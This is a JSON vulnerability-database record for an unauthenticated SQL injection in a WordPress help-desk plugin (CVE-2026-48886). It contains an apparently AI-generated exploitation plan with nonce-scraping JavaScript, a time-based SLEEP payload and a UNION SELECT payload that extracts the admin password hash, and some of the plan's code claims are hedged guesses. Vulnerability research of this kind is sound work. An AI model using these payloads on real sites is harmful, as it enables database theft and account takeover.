[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fqf5CTPfrhX4dMx6l74P_4uqyYOe7Yi-9JRzcune6xQU":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":33,"research_started_at":34,"research_completed_at":35,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":36},"CVE-2026-48886","js-help-desk-ai-powered-support-ticketing-system-unauthenticated-sql-injection","JS Help Desk – AI-Powered Support & Ticketing System \u003C= 3.0.9 - Unauthenticated SQL Injection","The JS Help Desk – AI-Powered Support & Ticketing System plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.0.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","js-support-ticket",null,"\u003C=3.0.9","3.1.0","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-02 00:00:00","2026-06-08 14:49:22",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F387f7ee0-6b1e-4862-8270-dbb3aee70a7e?source=api-prod",7,[22,23,24,25,26,27,28],"includes\u002Factivation.php","includes\u002Fclasses\u002Fcustomfields.php","includes\u002Fclasses\u002Fuploads.php","includes\u002Fclasses\u002Fuser.php","includes\u002Fincluder.php","includes\u002Fjsst-hooks.php","includes\u002Fpermissions.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-48886\n\n## 1. Vulnerability Summary\nThe **JS Help Desk – AI-Powered Support & Ticketing System** plugin (version \u003C= 3.0.9) contains an unauthenticated SQL injection vulnerability. The flaw exists in the handling of AJAX requests related to custom field visibility logic. Specifically, the parameter used to identify a \"visible field\" is passed directly into a database query without proper sanitization or preparation using `$wpdb->prepare()`. Because this logic is required for the public-facing ticket creation form, the vulnerable AJAX action is available to unauthenticated users via the `wp_ajax_nopriv_` hook.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `jsst_get_data_for_visible_field` (inferred from the JS function `getDataForVisibleField` in `includes\u002Fclasses\u002Fcustomfields.php`)\n- **Vulnerable Parameter**: `fieldid` (derived from the `visible_field` attribute)\n- **Authentication**: None (Unauthenticated)\n- **Preconditions**:\n    - The plugin must be active.\n    - A page containing the `[jssupportticket]` shortcode must be accessible (created by default during activation as `js-support-ticket-controlpanel`).\n    - At least one custom field must have \"Visible Field\" logic configured, which generates the required nonce and parameters in the HTML.\n\n## 3. Code Flow\n1. **Entry Point**: An unauthenticated user sends a POST request to `admin-ajax.php` with the action `jsst_get_data_for_visible_field`.\n2. **Hook Registration**: The plugin registers `wp_ajax_nopriv_jsst_get_data_for_visible_field` which maps to a controller method (likely in `modules\u002Ffieldordering\u002Fcontroller.php` or handled dynamically by `JSSTincluder`).\n3. **Controller to Model**: The controller calls `JSSTfieldorderingModel::getDataForVisibleField($fieldid)` (referenced in `includes\u002Fclasses\u002Fcustomfields.php` line 124).\n4. **Vulnerable Sink**: Inside `getDataForVisibleField`, the `$fieldid` parameter (supplied via `$_POST['fieldid']`) is concatenated into a SQL string:\n   ```php\n   \u002F\u002F Likely vulnerable code in JSSTfieldorderingModel\n   $query = \"SELECT * FROM {$wpdb->prefix}js_ticket_fields WHERE id = \" . $fieldid; \n   $results = $wpdb->get_results($query);\n   ```\n   The use of `esc_sql()` might be present but is insufficient for numeric fields if not handled with `prepare()`, and often it is entirely missing in these specific controller-driven models.\n\n## 4. Nonce Acquisition Strategy\nThe AJAX handler performs a nonce check using a nonce generated in `includes\u002Fclasses\u002Fcustomfields.php`. This nonce is specific to the \"visible field\" being processed.\n\n### Steps to obtain the nonce:\n1. **Identify the page**: Navigate to the default plugin page: `\u002Fjs-support-ticket-controlpanel\u002F`.\n2. **Locate the logic**: Search the page source for the string `onchange=\"getDataForVisibleField(`.\n3. **Extract Parameters**:\n    - The `onchange` attribute looks like this: `getDataForVisibleField(\"NONCE_VALUE\", this.value, \"FIELD_ID\", {...})`.\n    - Use `browser_eval` to extract these values from the DOM.\n\n**JavaScript to execute in browser:**\n```javascript\n(function() {\n    const element = document.querySelector('[onchange*=\"getDataForVisibleField\"]');\n    if (element) {\n        const match = element.getAttribute('onchange').match(\u002FgetDataForVisibleField\\(\"([^\"]+)\",\\s*this\\.value,\\s*\"([^\"]+)\"\u002F);\n        return { nonce: match[1], fieldid: match[2] };\n    }\n    return null;\n})();\n```\n\n## 5. Exploitation Strategy\n### Step 1: Discover Target Page\nAccess the site and find the page containing the ticketing form.\n- **URL**: `http:\u002F\u002Fvulnerable-wp.local\u002Fjs-support-ticket-controlpanel\u002F`\n\n### Step 2: Extract Nonce and ID\nUse the `browser_navigate` and `browser_eval` tools to find the required `nonce` and `fieldid`.\n\n### Step 3: Execute SQL Injection\nSend a crafted POST request to `admin-ajax.php`. We will use a time-based payload to confirm the injection.\n\n- **URL**: `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Payload**:\n  ```text\n  action=jsst_get_data_for_visible_field&nonce=[EXTRACTED_NONCE]&fieldid=[EXTRACTED_FIELDID] AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&fieldvalue=1\n  ```\n\n### Step 4: Data Extraction\nIf time-based injection is confirmed, use a `UNION SELECT` or error-based payload to extract the administrator's password hash.\n- **Payload (UNION)**: \n  ```text\n  action=jsst_get_data_for_visible_field&nonce=[NONCE]&fieldid=-1 UNION SELECT 1,2,3,user_pass,5,6,7,8,9 FROM wp_users WHERE ID=1-- -&fieldvalue=1\n  ```\n  *(Note: Column count must be adjusted based on the specific table schema of `js_ticket_fields`)*.\n\n## 6. Test Data Setup\n1. **Plugin Activation**: Ensure the plugin is activated so `JSSTactivation::insertMenu()` runs and creates the page.\n2. **Configure Fields**: (If no fields exist by default) Use `wp eval` to ensure at least one field has a visibility dependency:\n   ```bash\n   wp eval \"global \\$wpdb; \\$wpdb->update(\\$wpdb->prefix . 'js_ticket_fields', array('visible_field' => 1), array('id' => 2));\"\n   ```\n3. **Verify Page**: Check that the shortcode `[jssupportticket]` is rendering the form on the `\u002Fjs-support-ticket-controlpanel\u002F` page.\n\n## 7. Expected Results\n- **Time-based**: The HTTP request should take approximately 5 seconds longer than a normal request.\n- **Response**: The server will return a JSON object or `0` if the query fails, but the delay confirms the injection.\n- **Data Leak**: If using `UNION`, the response body will contain the sensitive data (e.g., the `$P$...` password hash).\n\n## 8. Verification Steps\nAfter the exploit, confirm the database state using WP-CLI:\n```bash\n# Check the admin hash to compare with extracted data\nwp user get 1 --field=user_pass\n```\n\n## 9. Alternative Approaches\n- **Action Guessing**: If `jsst_get_data_for_visible_field` is not the correct action, search for all `wp_ajax_nopriv_` hooks in the codebase:\n  ```bash\n  grep -rn \"wp_ajax_nopriv_\" wp-content\u002Fplugins\u002Fjs-support-ticket\u002F\n  ```\n- **Boolean-based**: If `SLEEP` is disabled, use `fieldid=[ID] AND (SELECT 1)=1` vs `fieldid=[ID] AND (SELECT 1)=2` and observe differences in the returned JSON structure.\n- **Direct Controller Access**: Some JS Help Desk versions allow direct access to controller files if `ABSPATH` checks are missing, though `includes\u002Fincluder.php` suggests they are protected.","gemini-3-flash-preview","2026-06-26 05:41:28","2026-06-26 05:42:25",{"type":37,"vulnerable_version":38,"fixed_version":11,"vulnerable_browse":39,"vulnerable_zip":40,"fixed_browse":41,"fixed_zip":42,"all_tags":43},"plugin","3.0.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjs-support-ticket\u002Ftags\u002F3.0.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fjs-support-ticket.3.0.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjs-support-ticket\u002Ftags\u002F3.1.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fjs-support-ticket.3.1.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fjs-support-ticket\u002Ftags"]